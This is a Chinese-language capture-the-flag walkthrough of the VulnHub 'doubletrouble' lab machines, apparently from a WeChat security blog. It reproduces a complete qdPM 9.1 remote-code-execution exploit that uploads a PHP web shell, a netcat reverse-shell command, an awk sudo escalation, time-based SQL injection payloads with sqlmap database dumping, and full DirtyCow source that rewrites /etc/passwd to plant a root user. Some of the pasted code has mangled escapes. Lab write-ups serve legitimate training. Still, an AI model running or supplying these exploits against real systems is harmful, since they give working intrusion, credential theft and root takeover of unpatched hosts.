声明
该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。
靶机地址:
https://download.vulnhub.com/doubletrouble/doubletrouble.ova
内容简介:
在这次打靶过程中,将使用到以下攻击手段:
主机发现 端口扫描
WEB信息收集 开源CMS漏洞利用
隐写术 EXP代码修复
密码爆破 GTFObins提权
SQL盲注 脏牛提权
1.1 主机发现
arp-scan -l
1.2 端口扫描
nmap -p- 192.168.144.152
nmap -p22,80 -sV -sC 192.168.144.130
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-07 23:22 EST
Nmap scan report for 192.168.144.152
Host is up (0.00078s latency).
PORT STATE SERVICE VERSION
open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
ssh-hostkey:
2048 6a:fe:d6:17:23:cb:90:79:2b:b1:2d:37:53:97:46:58 (RSA)
256 5b:c4:68:d1:89:59:d7:48:b0:96:f3:11:87:1c:08:ac (ECDSA)
256 61:39:66:88:1d:8f:f1:d0:40:61:1e:99:c5:1a:1f:f4 (ED25519)
open http Apache httpd 2.4.38 ((Debian))
qdPM | Login :
Apache/2.4.38 (Debian) :
MAC Address: 08:00:27:C0:A3:77 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.85 seconds
1.3 WEB信息收集
打开http://192.168.144.152/查看源代码
看到了http://qdpm.net/
还有qdPM 9.1版本发现是一个开源的CMS
访问http://192.168.144.152/install/
能看到敏感信息qdpm数据库名称
http://192.168.144.152/core/cache/qdPM/
访问这个路径可以看到很多的php文件
1.4 隐写术
要开始路径爬取
dirsearch -u http://192.168.144.152
发现
http://192.168.144.152/secret/doubletrouble.jpg
下载的图片如下:
利用steghide分析
steghide info doubletrouble.jpg
该图片进行了加密,需要解密密码
需要下载此文件进行密码破解
https://github.com/RickdeJager/stegseek
apt install ./stegseek_0.6-1.deb //安装软件
cp /usr/share/wordlists/rockyou.txt.gz .
gunzip rockyou.txt.gz
stegseek doubletrouble.jpg /home/kali/rockyou.txt //破解密码 密码为 92camaro
密码破解成功密码为92camaro
stegseek --crack doubletrouble.jpg /home/kali/rockyou.txt -xf file //提取文件信息
cat file
账号 otisrush .com
密码 otis666
找到账号密码!!!
1.5 开源CMS漏洞利用
searchsploit qdpm
cp /usr/share/exploitdb/exploits/php/webapps/50175.py .
存在 rce漏洞
登录 http://192.168.144.152/
登录成功!!
使用 远程利用代码 执行!!!
在 50179.py 上 需要改 一些代码。。。。。。。。。。
mousepad 50175.py // 打开文本编辑器 查看
行缩进有问题 给他回归原位 即可!
下面是我修改完成的代码 参照即可
# Exploit Title: qdPM 9.1 - Remote Code Execution (RCE) (Authenticated)
# Google Dork: intitle:qdPM 9.1. Copyright © 2020 qdpm.net
# Date: 2021-08-03
# Original Exploit Author: Rishal Dwivedi (Loginsoft)
# Original ExploitDB ID: 47954
# Exploit Author: Leon Trappett (thepcn3rd)
# Vendor Homepage: http://qdpm.net/
# Software Link: http://qdpm.net/download-qdpm-free-project-management
# Version: <=1.9.1
# Tested on: Ubuntu Server 20.04 (Python 3.9.2)
# CVE : CVE-2020-7246
# Exploit written in Python 3.9.2
# Tested Environment - Ubuntu Server 20.04 LTS
# Path Traversal + Remote Code Execution
#!/usr/bin/python3
import sys
import requests
from lxml import html
from argparse import ArgumentParser
session_requests = requests.session()
def multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME, uservar):
request_1 = {
'sf_method': (None, 'put'),
'users[id]': (None, userid[-1]),
'users[photo_preview]': (None, uservar),
'users[_csrf_token]': (None, csrftoken_[-1]),
'users[name]': (None, username[-1]),
'users[new_password]': (None, ''),
'users[email]': (None, EMAIL),
'extra_fields[9]': (None, ''),
'users[remove_photo]': (None, '1'),
}
return request_1
def req(userid, username, csrftoken_, EMAIL, HOSTNAME):
request_1 = multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME,'.htaccess')
new = session_requests.post(HOSTNAME + 'index.php/myAccount/update',files=request_1)
request_2 = multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME,'../.htaccess')
new1 = session_requests.post(HOSTNAME + 'index.php/myAccount/update',files=request_2)
request_3 = {
'sf_method': (None, 'put'),
'users[id]': (None, userid[-1]),
'users[photo_preview]': (None, ''),
'users[_csrf_token]': (None, csrftoken_[-1]),
'users[name]': (None, username[-1]),
'users[new_password]': (None, ''),
'users[email]': (None, EMAIL),
'extra_fields[9]': (None, ''),
'users[photo]': ('backdoor.php','<?php if(isset($_REQUEST['cmd'])){ echo"<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>', 'application/octet-stream'),
}
upload_req = session_requests.post(HOSTNAME +'index.php/myAccount/update', files=request_3)
def main(HOSTNAME, EMAIL, PASSWORD):
url = HOSTNAME + '/index.php/login'
result = session_requests.get(url)
#print(result.text)
login_tree = html.fromstring(result.text)
authenticity_token =list(set(login_tree.xpath("//input[@name='login[_csrf_token]']/@value")))[0]
payload = {'login[email]': EMAIL, 'login ': PASSWORD,'login[_csrf_token]': authenticity_token}
result = session_requests.post(HOSTNAME + '/index.php/login',data=payload, headers=dict(referer=HOSTNAME + '/index.php/login'))
# The designated admin account does not have a myAccount page
account_page = session_requests.get(HOSTNAME + 'index.php/myAccount')
account_tree = html.fromstring(account_page.content)
userid = account_tree.xpath("//input[@name='users[id]']/@value")
username = account_tree.xpath("//input[@name='users[name]']/@value")
csrftoken_ =account_tree.xpath("//input[@name='users[_csrf_token]']/@value")
req(userid, username, csrftoken_, EMAIL, HOSTNAME)
get_file = session_requests.get(HOSTNAME + 'index.php/myAccount')
final_tree = html.fromstring(get_file.content)
backdoor =final_tree.xpath("//input[@name='users[photo_preview]']/@value")
print('Backdoor uploaded at - > ' + HOSTNAME + '/uploads/users/' + backdoor[-1] + '?cmd=whoami')
if __name__ == '__main__':
print("You are not able to use the designated admin account because they do not have a myAccount page.n")
parser = ArgumentParser(description='qdmp - Path traversal + RCE Exploit')
parser.add_argument('-url', '--host', dest='hostname', help='Project URL')
parser.add_argument('-u', '--email', dest='email', help='User email (Any privilege account)')
parser.add_argument('-p', '--password', dest='password', help='User password')
args = parser.parse_args()
# Added detection if the arguments are passed and populated, if notdisplay the arguments
if (len(sys.argv) > 1 and isinstance(args.hostname, str) and isinstance(args.email, str) and isinstance(args.password, str)):
main(args.hostname, args.email, args.password)
else:
parser.print_help()
修改成功
python3 50175.py -url http://192.168.144.152/ -u otisrush@localhost.com -p otis666
命令执行
http://192.168.144.152//uploads/users/ 该链接 生成成功
http://192.168.144.152//uploads/users/114910-backdoor.php?cmd=id
已经拿到 基本权限了
反弹shell
http://192.168.144.152//uploads/users/114910-backdoor.php?cmd=nc%20-e%20/bin/bash%20192.168.144.247%204444
nc -lvnp 4444 //成功
python -c 'import pty;pty.spawn("/bin/bash")' 终端升级
1.6 GTFObins提权
sudo -l
参考该网址
https://gtfobins.github.io/gtfobins/awk/#sudo
用此条命令可提升权限
sudo awk 'BEGIN {system("/bin/sh")}'
ok 提权成功!
但是cd /root | ls的时候发现还存在第二个靶机
所以到导出文件在重新导入到虚拟机中
nc 192.168.144.247 4444 < doubletrouble.ova -w 1
nc -nvlp 4444 > double.ova
成功导出 镜像
导入虚拟机,接下来打第二台靶机
2.1 主机发现
arp-scan -l
2.2 端口扫描
nmap -p- 192.168.144.241
nmap -p22,80 -sV -sC 192.168.144.241
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-08 01:33 EST
Nmap scan report for 192.168.144.241
Host is up (0.00049s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u4 (protocol 2.0)
| ssh-hostkey:
| 1024 e8:4f:84:fc:7a:20:37:8b:2b:f3:14:a9:54:9e:b7:0f (DSA)
| 2048 0c:10:50:f5:a2:d8:74:f1:94:c5:60:d7:1a:78:a4:e6 (RSA)
|_ 256 05:03:95:76:0c:7f:ac:db:b2:99:13:7e:9c:26:ca:d1 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.22 (Debian)
MAC Address: 08:00:27:2A:55:9E (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.67 seconds
2.3 sql盲注
访问
http://192.168.144.241/index.php
首先用xray尝试了一下发现sql注入
payload 如下
POST /index.php HTTP/1.1
Host: 192.168.144.241
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 153
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Origin: http://192.168.144.241
Referer: http://192.168.144.241/index.php
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip
btnLogin=%26%2330331%3B%26%2324405%3B&psw=123%27and%28select%2Afrom%28select%2Bsleep%280%29%29a%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2B1%29%3D%27&uname=123】、
然后通过抓包测试sql注入
POST /index.php HTTP/1.1
Host: 192.168.144.241
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 96
Origin: http://192.168.144.241
Connection: close
Referer: http://192.168.144.241/index.php
Upgrade-Insecure-Requests: 1
uname='AND(SELECT x FROM(SELECT(SLEEP(10)))XYZ)#&psw=123&btnLogin=%26%2330331%3B%26%2324405%3B
存在基于时间盲注用sqlmap一把梭,把请求包保存成1.txt
python2 .sqlmap.py -r .1.txt --dbs -p uname //爆破 数据库
python2 .sqlmap.py -r .1.txt --dbs -D doubletrouble --tables // 爆破表
python2 .sqlmap.py -r .1.txt --dbs -D doubletrouble -T users --columns //爆破字段
python2 .sqlmap.py -r .1.txt --dbs -D doubletrouble -T users --dump //下载数据
进行登录测试
账号 |
密码 |
montreux |
GfsZxc1 |
clapton |
ZubZub99 |
发现并不是 web系统的登录账号,密码。。。。。
但是 是 ssh 的登录 账号密码
2.4 脏牛提权
第一种方式
登录clapton账号成功
查看内核版本存在脏牛漏洞
下载地址
https://github.com/Brucetg/DirtyCow-EXP脏牛漏洞
searchsploit -m 40616.c
nc 192.168.144.241 4444 < 40616.c -w 1
nc -lvnp 4444 > exp.c
gcc exp.c -o exp -pthread //这里有个报错 不用管他
chmod +x exp
./exp
成功!!!!
第二种方式
//
// This exploit uses the pokemon exploit of the dirtycow vulnerability
// as a base and automatically generates a new passwd line.
// The user will be prompted for the new password when the binary is run.
// The original /etc/passwd file is then backed up to /tmp/passwd.bak
// and overwrites the root account with the generated line.
// After running the exploit you should be able to login with the newly
// created user.
//
// To use this exploit modify the user values according to your needs.
// The default is "firefart".
//
// Original exploit (dirtycow's ptrace_pokedata "pokemon" method):
// https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
//
// Compile with:
// gcc -pthread dirty.c -o dirty -lcrypt
//
// Then run the newly create binary by either doing:
// "./dirty" or "./dirty my-new-password"
//
// Afterwards, you can either "su firefart" or "ssh firefart@..."
//
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
// mv /tmp/passwd.bak /etc/passwd
//
// Exploit adopted by Christian "FireFart" Mehlmauer
// https://firefart.at
//
const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/passwd.bak";
const char *salt = "firefart";
int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;
struct Userinfo {
char *username;
char *hash;
int user_id;
int group_id;
char *info;
char *home_dir;
char *shell;
};
char *generate_password_hash(char *plaintext_pw) {
return crypt(plaintext_pw, salt);
}
char *generate_passwd_line(struct Userinfo u) {
const char *format = "%s:%s:%d:%d:%s:%s:%sn";
int size = snprintf(NULL, 0, format, u.username, u.hash,
u.user_id, u.group_id, u.info, u.home_dir, u.shell);
char *ret = malloc(size + 1);
sprintf(ret, format, u.username, u.hash, u.user_id,
u.group_id, u.info, u.home_dir, u.shell);
return ret;
}
void *madviseThread(void *arg) {
int i, c = 0;
for(i = 0; i < 200000000; i++) {
c += madvise(map, 100, MADV_DONTNEED);
}
printf("madvise %dnn", c);
}
int copy_file(const char *from, const char *to) {
// check if target file already exists
if(access(to, F_OK) != -1) {
printf("File %s already exists! Please delete it and run againn",
to);
return -1;
}
char ch;
FILE *source, *target;
source = fopen(from, "r");
if(source == NULL) {
return -1;
}
target = fopen(to, "w");
if(target == NULL) {
fclose(source);
return -1;
}
while((ch = fgetc(source)) != EOF) {
fputc(ch, target);
}
printf("%s successfully backed up to %sn",
from, to);
fclose(source);
fclose(target);
return 0;
}
int main(int argc, char *argv[])
{
// backup file
int ret = copy_file(filename, backup_filename);
if (ret != 0) {
exit(ret);
}
struct Userinfo user;
// set values, change as needed
user.username = "firefart";
user.user_id = 0;
user.group_id = 0;
user.info = "pwned";
user.home_dir = "/root";
user.shell = "/bin/bash";
char *plaintext_pw;
if (argc >= 2) {
plaintext_pw = argv[1];
printf("Please enter the new password: %sn", plaintext_pw);
} else {
plaintext_pw = getpass("Please enter the new password: ");
}
user.hash = generate_password_hash(plaintext_pw);
char *complete_passwd_line = generate_passwd_line(user);
printf("Complete line:n%sn", complete_passwd_line);
f = open(filename, O_RDONLY);
fstat(f, &st);
map = mmap(NULL,
st.st_size + sizeof(long),
PROT_READ,
MAP_PRIVATE,
f,
0);
printf("mmap: %lxn",(unsigned long)map);
pid = fork();
if(pid) {
waitpid(pid, NULL, 0);
int u, i, o, c = 0;
int l=strlen(complete_passwd_line);
for(i = 0; i < 10000/l; i++) {
for(o = 0; o < l; o++) {
for(u = 0; u < 10000; u++) {
c += ptrace(PTRACE_POKETEXT,
pid,
map + o,
*((long*)(complete_passwd_line + o)));
}
}
}
printf("ptrace %dn",c);
}
else {
pthread_create(&pth,
NULL,
madviseThread,
NULL);
ptrace(PTRACE_TRACEME);
kill(getpid(), SIGSTOP);
pthread_join(pth,NULL);
}
printf("Done! Check %s to see if the new user was created.n", filename);
printf("You can log in with the username '%s' and the password '%s'.nn",
user.username, plaintext_pw);
printf("nDON'T FORGET TO RESTORE! $ mv %s %sn",
backup_filename, filename);
return 0;
将其上传至靶机,编译后运行
clapton@doubletrouble:/tmp$ wget http://192.168.9.7/dirty.c
--2022-03-31 03:29:54-- http://192.168.9.7/dirty.c
Connecting to 192.168.9.7:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4815 (4.7K) [text/x-csrc]
Saving to: `dirty.c'
100%[==========================================================>] 4,815 --.-K/s in 0s
2022-03-31 03:29:54 (866 MB/s) - `dirty.c' saved [4815/4815]
clapton@doubletrouble:/tmp$ gcc -pthread dirty.c -o dirty -lcrypt
clapton@doubletrouble:/tmp$ ./dirty root
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: root
Complete line:
firefart:fiw.I6FqpfXW.:0:0:pwned:/root:/bin/bash
mmap: 7f630f388000
madvise 0
ptrace 0
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password 'root'.
DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password 'root'.
DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
clapton@doubletrouble:/tmp$
成功创建root权限用户firefart
尝试切换用户firefart
clapton@doubletrouble:/tmp$ su firefart
Password:
firefart@doubletrouble:/tmp# id
uid=0(firefart) gid=0(root) groups=0(root)
firefart@doubletrouble:/tmp# cd /root
firefart@doubletrouble:~# ls
logdel2 root.txt
firefart@doubletrouble:~# cat root.txt
1B8EEA89EA92CECB931E3CC25AA8DE21firefart@doubletrouble:~#
也是没问题可以成功的
注:如有侵权请后台联系进行删除
觉得内容不错,请点一下"赞"和"在看"
原文始发于微信公众号(嗨嗨安全):靶机实战系列之doubletrouble靶机
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论